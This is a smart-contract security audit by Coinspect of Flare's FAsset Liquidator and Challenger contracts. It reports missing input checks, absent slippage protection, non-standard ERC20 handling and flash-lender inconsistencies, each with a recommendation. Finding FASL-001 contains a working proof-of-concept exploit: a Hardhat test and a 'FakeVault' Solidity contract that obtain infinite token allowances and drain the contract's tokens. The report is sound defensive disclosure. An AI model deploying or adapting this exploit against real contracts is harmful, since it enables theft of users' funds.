Flare: FAsset Liquidator

Smart Contract Review

FAsset Liquidator

Smart Contract Review

Version: v231207 Prepared for: Flare December 2023

Smart Contract Review

1. Executive Summary

In December 2023, Flare engaged Coinspect to review the implementation of the **FAsset Liquidator** smart contracts. The objective of the project was to evaluate the security of this arbitrageur that enables challenging and liquidating **Agent Vaults** from the **FAsset Protocol**.

The **Liquidator** leverages flash loans, allowing anyone without enough tokens to make a liquidation and take profits by making an arbitrage operation.

The following issues were identified during the initial assessment:

	✓ Solved	⚠ Caution Advised	✗ Resolution Pending
High	0	0	3
Medium	0	0	4
Low	0	0	0
None	0	2	0
Total	0	2	7

Coinspect identified three high-risk and four medium-risk issues.

The first high-risk issue, **FASL-001**, allows attackers to perpetually steal all the contract tokens by granting themselves infinite allowance. Then, **FASL-002** shows how attackers can sandwich attack the **Liquidator** to steal all the rewards received from challenges. Lastly, **FASL-003** indicates that all rewards in non standard `ERC20`'s will be irreversibly lost.

As for the medium-risk issues, **FASL-004** perpetually triggers a revert when doing an arbitrage for some type of tokens upon re-approval. Then, **FASL-005** shows how using fixed swapping routes can force the **Liquidator** to interact with low liquidity pools, incurring losses. **FASL-006** emphasizes the lack of tests for some critical functions. Lastly, **FASL-007** highlights a bypass scenario for the flash lender's liquidity checks.

2. Summary of Findings

2.1 Findings with pending resolution

These findings indicate potential risks that require some action. They must be addressed with modifications to the codebase or an explicit acceptance as part of the project's known security risks.

Id	Title	Risk
FASL-001	Attackers can steal all Challenger's tokens	High
FASL-002	Attackers can steal Challenger's reward tokens by manipulating the price pair	High
FASL-003	Challenger rewards in non-standard tokens will be locked forever	High
FASL-004	Arbitrage will revert for several tokens upon re-approval	Medium
FASL-005	Suboptimal swap routes might turn the Challenger unprofitable	Medium
FASL-006	Some key functions are not tested	Medium
FASL-007	Using different flash lender addresses enable bypassing critical liquidity checks	Medium

2.2 Findings where caution is advised

These issues have been addressed, but their risk has not been fully mitigated. Any future changes to the codebase should be carefully evaluated to avoid exacerbating these issues or increasing their probability.

Findings with a risk of None pose no threat, but document an implicit assumption which must be taken into account. Once acknowledged, these are considered solved.

Id	Title	Risk
FASL-008	Hardcoded swap fee percentage	None
FASL-009	Unaddressed risks in open TODOs and warnings	None

3. Scope

The source code review of the **Flare FAssets Liquidator** started on December 4th, 2023, and was conducted on the main branch of the git repository located at https://gitlab.com/flarenetwork/fasset-liquidator as of commit `29f303da030fc19e0ff2c6e4d7276925c13d0c07`.

Third party contracts such as **BlazeSwap** or any other arbitrary **Flash Lender** implementation were not part of this review's scope.

4. Assessment

The **Liquidator** implementation allows users to liquidate **Agent Vaults** from the **FAsset Protocol**. An **Agent** has two main liquidation cases, challenge-based and health-based. The first case triggers a full liquidation, allowing anyone to liquidate all their collateral. The second and last case, depends on the current market prices and only a portion of the collateral is susceptible to liquidations. The **Liquidator** interacts with the **FAsset Protocol** targeting the **Agents** specified by the user, performing the liquidation.

Moreover, users are able to make a challenge to **Agents** that performed illegal actions, getting a challenge reward. The **Challenger** is an implementation that inherits from the **Liquidator**, chaining challenges with the subsequent liquidation of the target (**Agent**).

4.1 Security assumptions

The **Challenger** is a contract that inherits all the **Liquidator**'s functionalities. All methods that interact with the **FAsset Protocol** to perform challenges and liquidations are public and non permissioned. Through this architecture, anyone is able to use the **Challenger** contract to either chain a challenge with a liquidation or just perform a liquidation.

The arbitrage mechanism is leveraged by flash loans. Essentially, liquidators don't need to supply the amount of **FAssets** required to make the liquidation. This process first requests a flash loan, swaps the tokens for the **FAsset** needed, performs the liquidation (in other words, acquires the same tokens at a discount price), swaps back for the borrowed tokens and makes the loan repayment. Finally, all the profit and the challenger rewards (if any) are transferred to the user that made the call.

Because of this, the **Liquidator** interacts with:

- The **FAssets Protocol**, to challenge (if applies) and liquidate an **Agent**.
- A **Flash Lender** that is expected to respect the `IERC3156FlashLender` interface, to request the required amount of tokens for the swap.
- A **Decentralized Exchange (DEX)** that follows the `IBlazeSwapRouter` (or `IUniswapV2Router`) interfaces, to make all token swaps.

The system assumes that all the external calls are made to trusted entities without performing any validation of the callee's integrity. Also, considers that all the liquidity of **DEX**es will be available in the pools that hold the tokens used during the arbitrage operation, assuming that this high liquidity mitigates the possibility for sandwich attacks (using an infinite slippage for swaps). Lastly, assumes that all tokens managed will be fully `IERC20` compliant. Coinspect identified that this assumptions pose a severe risk for the system, with impacts ranging from profit losses to scenarios that allow attackers to drain all the tokens held by the contract perpetually.

4.2 Decentralization and Privileged Roles

The **Liquidator** has no access checks for its public functions, in other words, anyone is able to use their interface directly to perform a liquidation. The same happens for the **Challenger** (which inherits from the **Liquidator**) with the exception that it extends from **Openzeppelin's Ownable**, allowing its owner to freely withdraw any type of fully compliant `ERC20` token from the contract. Users are also able to make a chained challenge and liquidation using the `Challenger`'s interface as all its challenge-triggering functions are non-permissioned.

4.3 Code quality & Testing

The project's code quality was good, but the codebase shows many unresolved security concerns and `TODO`'s. Tests that interact with **BlazeSwap** are included, however, there are some critical public functions that are never called in the test suite.

5. Detailed Findings

FASL-001

Attackers can steal all Challenger's tokens

Status

Resolution Pending

❌

Resolution

Open

Risk

High

🟥🟥🟥

Impact

High

Likelihood

High

Location

```
contracts/Liquidator.sol
```

Description

Malicious actors are able to steal all tokens by passing arbitrary parameters when executing arbitrage operations, granting themselves infinite allowance from the **Challenger** contract to any account in their control.

This issue is caused by the lack of checks for the parameters passed when directly calling `runArbitrageWithCustomParams()`. Consequently, attackers can craft a malicious contract that bypasses and mocks every call until reaching the lines that effectively handle approvals. Those approvals are required to perform swaps on the specified DEX.

The **Challenger** contract inherits from the **Liquidator**, which implements several ways to trigger an arbitrage operation, for example:

- `runArbitrage()`
- `runArbitrageWithCustomParams()`

Both are `public` functions as they are also called internally. Ultimately, all arbitrages end up calling `runArbitrageWithCustomParams()`:

```
    function runArbitrageWithCustomParams(
        address _agentVault,
        IERC3156FlashLender _flashLender,
        IBlazeSwapRouter _blazeSwapRouter,
        address _to
    ) public {
        // we have to start liquidation so that we get correct max f-
assets
        // this should probably be fixed in the later f-asset version
        IIAssetManager _assetManager =
IIAgentVault(_agentVault).assetManager();
        _assetManager.startLiquidation(address(_agentVault));
        // run liquidation arbitrage
        Ecosystem.Data memory _data = Ecosystem.getData(
            _agentVault,
            address(_blazeSwapRouter),
            address(_flashLender)
        );
        _runArbitrageWithData(_data);
        // send earnings to sender (along with any tokens sent to this
contract)
        uint256 earnings =
IERC20(_data.vaultToken).balanceOf(address(this));
        IERC20(_data.vaultToken).transfer(_to, earnings);
    }
```

This function has no checks for the input parameters, allowing attackers to create a fake vault, lender and DEX contract bypassing any check.

Coinspect identified several lines of code that could be reached through this mechanism, allowing attackers to directly steal funds from the **Challenger** contract when:

- The flash loan ends:

```
      uint256 earnings =
IERC20(_data.vaultToken).balanceOf(address(this));
      IERC20(_data.vaultToken).transfer(_to, earnings);
```

- The arbitrage ends

```
157    IERC20(_token).approve(msg.sender, _amount + _fee);
```

- Performing the arbitrage:

```
172    _vaultToken.approve(address(_blazeSwapRouter), _vaultAmount);
187    _poolToken.approve(address(_blazeSwapRouter), obtainedPool);
```

Proof of Concept

The following malicious contract bypasses and mocks any call made from the **Challenger** when executing an arbitrage. It exploits lines 172 and 187 (mentioned above) to grant themselves infinite allowance of both the Vault and Pool tokens. It is important to consider that this attack can be performed unlimited times getting infinite allowance from any token.

Through this process, the attacker is in power to pull any token held in the **Challenger** contract at any time.

Output

```
Allowances granted from Challenger to Malicious Contract:
Vault Token: 0
Pool Token: 0

  Starting attack... calling runArbitrageWithCustomParams()
Entering through the Flashloan function with malicious values...
✅ Attack finished!

Allowances granted from Challenger to Malicious Contract:
Vault Token:
115792089237316195423570985008687907853269984665640564039457584007913129639935
Pool Token:
115792089237316195423570985008687907853269984665640564039457584007913129639935
```

Setup

To run this proof of concept, save the `FakeVault` contract in the `contracts/` directory, so Hardhat creates its artifact when compiling.

Then add the following script to `test/unit/challenger.test.ts`

```
describe("Coinspect Tests", () => {
    ecosystems.forEach((ecosystem) => {
      it("Coinspect - Allows to perpetually steal all the contract
funds", async () => {
        const { challenger, assetManager, vault, agent, flashLender } =
context.contracts
        await setupEcosystem(ecosystem, assetConfig, context)

const challengerAddr = await challenger.getAddress();
        const { vaultCollateralToken: vaultToken } = await
assetManager.getAgentInfo(agent)
        const poolCollateralToken = await assetManager.getWNat();
        let vaultTokenInstance = await ethers.getContractAt(
          "ERC20",
          vaultToken
        );

let poolTokenInstance = await ethers.getContractAt(
          "ERC20",
          poolCollateralToken
        );

// deploy malicious attacking contract
        const [attacker] = await ethers.getSigners();
        const MaliciousVault = await
ethers.getContractFactory("FakeVault");

const maliciousVault = await
MaliciousVault.connect(attacker).deploy(vaultToken,
poolCollateralToken, challengerAddr);
        const maliciousVaultAddr = await maliciousVault.getAddress();

console.log("\nAllowances granted from Challenger to Malicious
Contract:")
        console.log(`Vault Token: ${await
vaultTokenInstance.allowance(challengerAddr, maliciousVaultAddr)}`)
        console.log(`Pool Token: ${await
poolTokenInstance.allowance(challengerAddr, maliciousVaultAddr)}`)

console.log("\n  Starting attack... calling
runArbitrageWithCustomParams()");
        await
challenger.connect(attacker).runArbitrageWithCustomParams(
          maliciousVaultAddr,
          maliciousVaultAddr,
          maliciousVaultAddr,
          maliciousVaultAddr
        )

console.log("✅ Attack finished!");
        console.log("\nAllowances granted from Challenger to Malicious
Contract:")
        console.log(`Vault Token: ${await
vaultTokenInstance.allowance(challengerAddr, maliciousVaultAddr)}`)
        console.log(`Pool Token: ${await
poolTokenInstance.allowance(challengerAddr, maliciousVaultAddr)}`)
      })
    })
})
```

Attacker Contract:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "fasset/contracts/userInterfaces/data/AgentInfo.sol";
import "fasset/contracts/fasset/library/data/AssetManagerState.sol";

import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";

import "hardhat/console.sol";

contract FakeVault {
    address realVaultToken;
    address realPoolToken;
    address victim;

address owner;

constructor(address _realVaultToken, address _realPoolToken, address
_challengerAddress) {
        realVaultToken = _realVaultToken;
        realPoolToken = _realPoolToken;
        victim = _challengerAddress;
        owner = msg.sender;
    }

function assetManager() external view returns (address) {
        return address(this);
    }

function startLiquidation(address /* _someVault */ )
        external
        returns (Agent.LiquidationPhase _liquidationPhase, uint256
_liquidationStartTs)
    {}

function maxFlashLoan(address /* _someToken */ ) external pure returns
(uint256) {
        return type(uint256).max;
    }

function getWNat() external view returns (address) {
        // As we will make the attack directly through the approvals,
we should return
        // real tokens in here so the getReserves quotes from Blaze are
valid
        return address(this);
    }

function decimals() external returns (uint8) {
        return 18;
    }

function getAgentInfo(address _agentVault) external returns
(AgentInfo.Info memory _info) {
        // As we will make the attack directly through the approvals,
we should return
        // real tokens in here so the getReserves quotes from Blaze are
```

```
valid

// We only care about the following values
        {
            _info.totalVaultCollateralWei = uint256(type(uint64).max);
            _info.totalPoolCollateralNATWei =
uint256(type(uint64).max);

// We need high liq factors to bypass this check:
            /*

uint256 _aux1 = _data.reserveVaultWeiDex1 * _data.reservePoolWeiDex2;
            if (_aux1 >= _amount) {
                return 0;
            }

*/
            _info.liquidationPaymentFactorVaultBIPS = uint256(100_000);
            _info.liquidationPaymentFactorPoolBIPS = uint256(100_000);

// Needs to be greater than zero to bypass the following check:
            // require(_data.maxLiquidatedFAssetUBA > 0, "Liquidator:
No f-asset to liquidate");
            _info.maxLiquidationAmountUBA = uint256(1);

// We need a real vault token to bypass this check:
            // require(_token == address(token), "FlashLender: invalid
token");
            _info.vaultCollateralToken = IERC20(realVaultToken);
        }
    }

function getSettings() external returns (AssetManagerSettings.Data
memory _settings) {
        // As we will make the attack directly through the approvals,
we should return
        // real tokens in here so the getReserves quotes from Blaze are
valid
        _settings.fAsset = address(this);
        _settings.assetMintingGranularityUBA = uint64(1); // assuming
that assetDecimals == assetMintDecimals

_settings.priceReader = address(this);
    }

function getCollateralType(CollateralType.Class _collateralClass,
IERC20 _token)
        external
        view
        returns (CollateralType.Data memory)
    {
        return CollateralType.Data({
            token: IERC20(address(0)),
            collateralClass: CollateralType.Class.VAULT, // It does not
matter what we return here
            decimals: uint8(18),
            validUntil: uint64(0),
            directPricePair: true,
            assetFtsoSymbol: "SYMBOL",
            tokenFtsoSymbol: "SYMBOL",
            minCollateralRatioBIPS: uint32(0),
            ccbMinCollateralRatioBIPS: uint32(0),
            safetyMinCollateralRatioBIPS: uint32(0)
        });
    }

function getPrice(string memory /* _symbol */ )
        external
        view
        returns (uint256 _price, uint256 _timestamp, uint256
_priceDecimals)
    {
        return (type(uint64).max, type(uint64).max, 6);
    }

function flashLoan(IERC3156FlashBorrower receiver, address token,
uint256, /* amount */ bytes calldata /* data */ )
        external
        returns (bool)
    {
        console.log("Entering through the Flashloan function with
malicious values...");
        address _token = realVaultToken; // Any valuable token
        uint256 _amount = type(uint256).max; // The amount we will be
approving to ourselves
        uint256 _fee; // This should be zero if _amount is MAX UINT to
prevent overflows.

// Data structure:
        /*
            IFAsset _fAssetToken,
            IERC20 _poolToken, // We can use this address also to get
approvals for another token on the same TX
            IAssetManager _assetManager, // This contract also
impersonates the asset manager
            IIAgentVault _agentVault,
            IBlazeSwapRouter _blazeSwapRouter
        */
        bytes memory _data = abi.encode(address(0), realPoolToken,
address(this), address(0), address(this));

// By calling this we will be getting infinite approvals for:
        // 1. realVaultToken
        // 2. realPoolToken
        // However, those addresses could be changed for any other
token
        receiver.onFlashLoan(msg.sender, _token, _amount, _fee, _data);

// Wipe any amount of tokens held by the time of the attack
        // However, an external permissioned function that allows
pulling the tokens
        // at any time is also included in this contract: stealTokens()

_doTransferFrom(IERC20(_token), victim);
        _doTransferFrom(IERC20(realPoolToken), victim);

return true;
    }

function getReserves(address, /* tokenA */ address /* tokenB */ )
```

```
external view returns (uint256, uint256) {
        return (uint256(type(uint64).max), uint256(type(uint64).max));
    }

function swapExactTokensForTokens(
        uint256, /* amountIn */
        uint256, /* amountOutMin */
        address[] calldata, /* path */
        address, /* to */
        uint256 /* deadline */
    ) external returns (uint256[] memory amountsSent, uint256[] memory
amountsRecv) {
        uint256[] memory fakeReturnVals = new uint256[](2);

// we can return anything as we will also impersonate the AssetManager
        fakeReturnVals[1] = 1;

return (fakeReturnVals, fakeReturnVals);
    }

function liquidate(address, /* _agentVault */ uint256 /* _amountUBA */
)
        external
        returns (uint256 _liquidatedAmountUBA, uint256 _amountPaidC1,
uint256 _amountPaidPool)
    {
        _liquidatedAmountUBA = 0;
        _amountPaidC1 = 0;

// This will be the amount we want to approve to ourselves from the
Liquidator
        // (,, uint256 obtainedPool) =
_assetManager.liquidate(address(_agentVault), amountsRecv[1]);
        _amountPaidPool = type(uint256).max;
    }

function stealTokens(IERC20 _token, address _victim) external {
        require(msg.sender == owner, "unauthorized");
        _doTransferFrom(_token, _victim);
    }

function _doTransferFrom(IERC20 _token, address _victim) internal {
        uint256 tokenBalance = _token.balanceOf(_victim);
        _token.transferFrom(_victim, owner, tokenBalance);
    }
}
```

Recommendation

Make all arbitrage functions permissioned and only callable by the **Challenger**'s owner. Alternatively, set all the contracts in advance upon deployment and validate that the vault being liquidated is part of the **FAsset** system.

Status

Open.

FASL-002

Attackers can steal Challenger's reward tokens by manipulating the price pair

Status	Risk
Resolution Pending	High
✗	🟥🟥🟥
	Impact: High
Resolution: Open	Likelihood: High

Location

`contracts/Liquidator.sol`

Description

There is no slippage protection when swaps are performed via third party exchanges. As a result, **Challengers** will accept any amount of tokens when swapping rewards tokens, as the allowed slippage is infinite. Attackers can manipulate the price pair and sandwich the swap transaction of **Challengers**.

```
(, amountsRecv) = _blazeSwapRouter.swapExactTokensForTokens(
    _vaultAmount,
    0, // <---------- Will accept receiving any amount of tokens after
swapping, even 0.
    toDynamicArray(address(_vaultToken), address(_fAsset)),
    address(this),
    block.timestamp
);
```

The **FAssets Protocol** pays the **Challenger** a reward in vault tokens after a successful challenge. Afterwards, the **Challenger** flash loans the required amount of tokens to perform the arbitrage (liquidation). This means that by that time, the vault collateral tokens' balance has the contribution of both the loan and the reward challenge. Because the loan has to be paid back, the maximum amount that can be stolen by manipulating the pair would be:

```
Initial Balance == ChallengeReward == VaultTokens0
After Loan == VaultTokens1, with a fee of 0%, this equals the amount to
be paid back.
Total Balance Before Swap == VaultTokens1 + VaultTokens0
Repayment == VaultTokens1
Remainder == VaultTokens0 <--- can be stolen
```

In other words, because the amount to be paid back equals the amount requested (zero loan fees), attackers can steal the surplus of `VaultTokens0` by manipulating the price pair of the DEX.

Recommendation

Use a price oracle as reference to determine an optimum slippage percentage by comparing the pair's price against the reported price by the oracle. Additionally, allow liquidators to pass a custom maximum slippage percentage.

Status

Open.

FASL-003

Challenger rewards in non-standard tokens will be locked forever

Status
Resolution Pending

Resolution
Open

Risk
High

Impact
High

Likelihood
High

Location

```
contracts/Liquidator.sol
contracts/FlashLender.sol
```

Description

Rewards from challenges are received before executing the arbitrage operations. In the event of using a non-standard token (e.g. that does not return any value from `transfer` or `approve`), the arbitrage call will revert leaving the rewards locked forever. In addition, this case will also happen in `withdrawToken()` as tokens are expected to be fully `IERC20` compliant. Also, if the system uses tokens that charge a fee on transfer, it won't be able to successfully process flash loan repayments:

```
    if (fee == 0 || _flashFeeReceiver == address(0)) {
        _burn(address(_receiver), _amount + fee);
    } else {
        _burn(address(_receiver), _amount);
        _transfer(address(_receiver), _flashFeeReceiver, fee);
    }
```

When the **Flash Lender** pulls a fee on transfer token from the borrower, the effective amount will be less than `_amount + loanFee`, meaning that in the event of charging a loan fee, every loan will revert when trying to transfer the loan fee to the recipient.

On the other hand, reward tokens are received once a challenge is made, via a payout made from the **FAssets Protocol**. Then, those rewards are expected to be recovered by the **Challenger** either when an arbitrage operation ends, or by making a manual withdrawal (if the challenge was made by the `owner`):

```
    // send earnings to sender (along with any tokens sent to this
contract)
    uint256 earnings =
IERC20(_data.vaultToken).balanceOf(address(this));
    IERC20(_data.vaultToken).transfer(_to, earnings);
```

```
function withdrawToken(IERC20 token) external onlyOwner {
    token.transfer(owner(), token.balanceOf(address(this)));
}
```

However, the **FAssets Protocol** considers the case when the tokens involved are not fully `IERC20` compliant, transferring the rewards with `safeTransfer`, meaning that non compliant `ERC20's` could be used by a **Pool** or **Agent**:

```
   function payout(IERC20 _token, address _recipient, uint256 _amount)
        external override
        onlyAssetManager
        nonReentrant
    {
        _token.safeTransfer(_recipient, _amount);
    }
```

In other words, if a non-compliant `IERC20` token is used, the **Challenger**'s owner has no means to recover them as any call to `transfer` will revert.

Recommendation

Use OpenZeppelin's `SafeERC20` library when making token calls. Use effective received amounts instead of function parameters when handling token transfers.

Status

Open.

FASL-004

Arbitrage will revert for several tokens upon re-approval

Status **Resolution Pending**	Risk **Medium**
Resolution **Open**	Impact **High** Likelihood **Medium**

Location

`contracts/Liquidator.sol`

Description

Remaining unused allowance after spending (swapping) for some type of tokens or implementations will brick the **Liquidator** and will lock down challenging reward tokens each time a challenge is made.

The Liquidator's implementation approves directly the amount to spend on each involved token, however several non-standard implementations of popular `ERC20`'s (like `USDT` on Ethereum or `SafeERC20`) require approving to zero before setting a new value, if there is a remainder of allowance to the spender. In the event of having an allowance excess after an arbitrage operation, every subsequent arbitrage will fail. If this happens to a **Challenger** that first received the challenging reward, those rewards would be potentially lost.

```
157    IERC20(_token).approve(msg.sender, _amount + _fee);
172    _vaultToken.approve(address(_blazeSwapRouter), _vaultAmount);
187    _poolToken.approve(address(_blazeSwapRouter), obtainedPool);
```

Also, because the arbitrage operations are made inside a `try-catch` block after a challenge is made, external users (not the `owner`) can still make challenges getting the reward tokens transferred to the contract. As the re-approval will fail, those tokens will remain locked inside the contract.

```
function illegalPaymentChallenge(
    BalanceDecreasingTransaction.Proof calldata _transaction,
    address _agentVault
) public {
    IAssetManager assetManager =
IIAgentVault(_agentVault).assetManager();
    assetManager.illegalPaymentChallenge(_transaction, _agentVault);
    // if liquidation fails, we don't want to revert the made challenge
    try this.runArbitrage(_agentVault, msg.sender) {} catch (bytes
memory) {}
}
```

Recommendation

Approve to zero before approving for the new value.

Status

Open.

FASL-005

Suboptimal swap routes might turn the Challenger unprofitable

Status
Resolution Pending

Resolution
Open

Risk
Medium

Impact
High

Likelihood
Low

Location

```
contracts/Liquidator.sol
```

Description

Unsuspecting **Challengers** might lose all their challenging rewards even if there is no sandwich attack, by simply interacting with a low liquidity pool.

The swap route in this setup is fixed, meaning that the **Liquidator** consistently engages with the `VaultToken/FAsset` and `PoolToken/VaultToken` pairs, regardless the market conditions or liquidity levels.

This rigid approach may not always be efficient. For instance, if significant liquidity for a specific token exists in a different pair, like `VaultToken/WNat`, the hardcoded path may lead to suboptimal exchanges. Trading through a less liquid pair, as currently structured, could result in less favorable outcomes, potentially receiving minimal amounts of the intended token due to low liquidity.

```
(, amountsRecv) = _blazeSwapRouter.swapExactTokensForTokens(
    _vaultAmount,
    0,
    toDynamicArray(address(_vaultToken), address(_fAsset)),
    address(this),
    block.timestamp
);
```

```
(, amountsRecv) = _blazeSwapRouter.swapExactTokensForTokens(
    obtainedPool,
    0,
    toDynamicArray(address(_poolToken), address(_vaultToken)),
    address(this),
    block.timestamp
);
```

In addition, as there are no slippage protections, this case can even make arbitrage calls revert if the amount of tokens after the swaps is not enough to pay the flash loan back.

Moreover, if a suboptimal route is chosen, such as trading in a pool with low liquidity, and strict slippage protections are in place, the chances of not getting the expected amount of tokens from the swap increases. This could lead to a transaction reversal when executing the swap, stopping the arbitrage call.

Recommendation

Evaluate making the path configurable by the owner. **Uniswap** has a guide to estimate the best swap path here.

Status

Open.

FASL-006

Some key functions are not tested

Status

Resolution Pending

Resolution

Open

Risk

Medium

Impact

High

Likelihood

Medium

Location

```
test/
```

Description

The test suite currently lacks scenarios that involve the use of the `runArbitrageWithCustomParams()` public function. This particular function gives users the power to adjust and alter various aspects of the arbitrage process, posing a significant risk.

This risk could be mitigated by incorporating relevant tests into the suite. Including these tests would also decrease the chances of encountering bugs related to this function during the production phase, enhancing overall system reliability.

Coinspect identified a high-risk issue that abuses of the mentioned function, which allows attackers to perpetually steal all the contract's funds, **FASL-001**.

Recommendation

Add tests that reach and use every function.

Status

Open.

FASL-007

Using different flash lender addresses enable bypassing critical liquidity checks

Status
Resolution Pending

Resolution
Open

Risk
Medium

Impact
High

Likelihood
Medium

Location

```
contracts/Liquidator.sol
```

Description

The **Liquidator** contract uses two different flash lender addresses on the same context, potentially leading to unknown threat scenarios when using different addresses. This can be also abused to bypass the liquidity checks made by the contract.

The system first makes a call to the globally set flash lender contract to check if there are enough tokens:

```
IERC3156FlashLender public immutable flashLender;

// ....
```

```
uint256 maxVaultFlashLoan = flashLender.maxFlashLoan(_data.vaultToken);
require(maxVaultFlashLoan > 0, "Liquidator: Flash loan unavailable");
```

And then requests the flash loan from the flash lender contract specified by the input parameter:

```
function runArbitrageWithCustomParams(
    address _agentVault,
    IERC3156FlashLender _flashLender,
    IBlazeSwapRouter _blazeSwapRouter,
    address _to
) public {
 // ....
    Ecosystem.Data memory _data = Ecosystem.getData(
        _agentVault,
        address(_blazeSwapRouter),
        address(_flashLender)
    );
 // ....
}

IERC3156FlashLender(_data.flashLender).flashLoan(
    this, _data.vaultToken,
    Math.min(maxVaultFlashLoan, optimalVaultAmount),
    abi.encode(
        _data.fAssetToken,
        _data.poolToken,
        _data.assetManager,
        _data.agentVault,
        _data.blazeSwapRouter
    )
);
```

Attackers can abuse from this to pass a different flash lender contract, knowing that the liquidity checks are made on the global lender. Then, trigger the loan on an arbitrary lender different from the global, effectively bypassing any check made to the flash lender.

Recommendation

Unify the lender addresses.

Status

Open.

FASL-008

Hardcoded swap fee percentage

Status

Caution Advised

Resolution

Open

Risk

None

Impact

Recommendation

Likelihood

–

Location

```
contracts/lib/SymbolicOptimum.sol
```

Description

The current codebase uses 'magic constants', which are hard-coded values with unclear meaning or context. This practice leads to a significant risk of overlooking these values during updates or changes, potentially causing inconsistencies and maintenance challenges. Reducing reliance on magic constants and replacing them with clearly defined constants or configurations is recommended for improved code manageability.

An example of this is extensively using `997` as a hardcoded constant on several parts of the codebase.

Recommendation

Replace magic values for global constants.

Status

Open.

FASL-009

Unaddressed risks in open TODOs and warnings

Status

Caution Advised

Risk

None

Impact

Recommendation

Likelihood

–

Resolution

Open

Location

```
contracts/Liquidator.sol
contracts/Challenger.sol
```

Description

The codebase contains numerous open `TODOs` and critical warnings. These include issues like restrictions on some types of arbitrage calls, and risks from malicious flash lenders manipulating function arguments. Notes in the code also mention the possibility of token theft due to compromised security for gas cost savings. Additionally, there are concerns about challenge rewards getting trapped in the contract, with an associated risk of these funds being stolen due to existing vulnerabilities.

```
/**
 * Do not send any tokens to this contract, they can be stolen!
 * Security is not put in place because of gas cost savings.
 * Ideally, we would save the hash of the data passed into
 * flash loan to storage, and validate it in onFlashLoan, then also
check
 * that no funds were stolen for the three relevant tokens.
 * Also _approve(token, 0) would need to be called after each swap.
 */
```

```
// dangerous!
// - cannot reenter due to flashLoanReceiverLock
// - can only be run once from runArbitrageWithCustomParams call
// - function arguments can be faked by a malicious flash lender!
```

```
// todo: challenge reward can get stuck in the contract
// which has vulnerabilities that allow those funds to be stolen
```

Recommendation

Solve the pending `TODOs` and any other pending security concern shown on the comments before going to the production phase.

Status

Open.

6. Disclaimer

The information presented in this document is provided "as is" and without warranty. The present security audit does not cover any on-chain systems or frontends that communicate with the network, nor the general operational security of the organization that developed the code.

7. Appendix

File hashes

```
14e98a346df5e020af9f4529dd6ce2335a7fb4c694c4f6d4c59e1507ad115792  ./contracts/Liquidator.sol
ef5d30fe9487d48e8f99c5ae36c3f94dcfd8f942e9fbea959b57a001edd2090c  ./contracts/interface/IIFAsset.sol
8a31d6c78cfcc9ad96a23fb8b2a9e0c2172c6443d0f65a1234617158f111432f  ./contracts/interface/IChallenger.sol
0d104501b86aa0720e701808e3f933d2b2f867a449eb993de8d834a785f403df  ./contracts/interface/ILiquidator.sol
431babdc4f2b2df569b429db30b8dd70ec18368ed90ad116ef73598f9ea3ad98  ./contracts/Challenger.sol
8e607725d846937c1ecb84a1ee413a71821e0bd63cdb69fe811c3bc8407cc610  ./contracts/BlazeSwap.sol
bc9f3bcd4bc484350e8c8817092ece31cfffb4ecbae266c9a2c4a7bf886f0cf9  ./contracts/lib/SymbolicOptimum.sol
7c48d62053c833801546e133fd4eb2d268fb588a2ac9e0b9195c77ccfa12cacd  ./contracts/lib/Ecosystem.sol
16e2f5933f28054cb51030a83a3927a9a94de3cf64023fb58fc2027b3d138f86  ./contracts/FlashLender.sol
```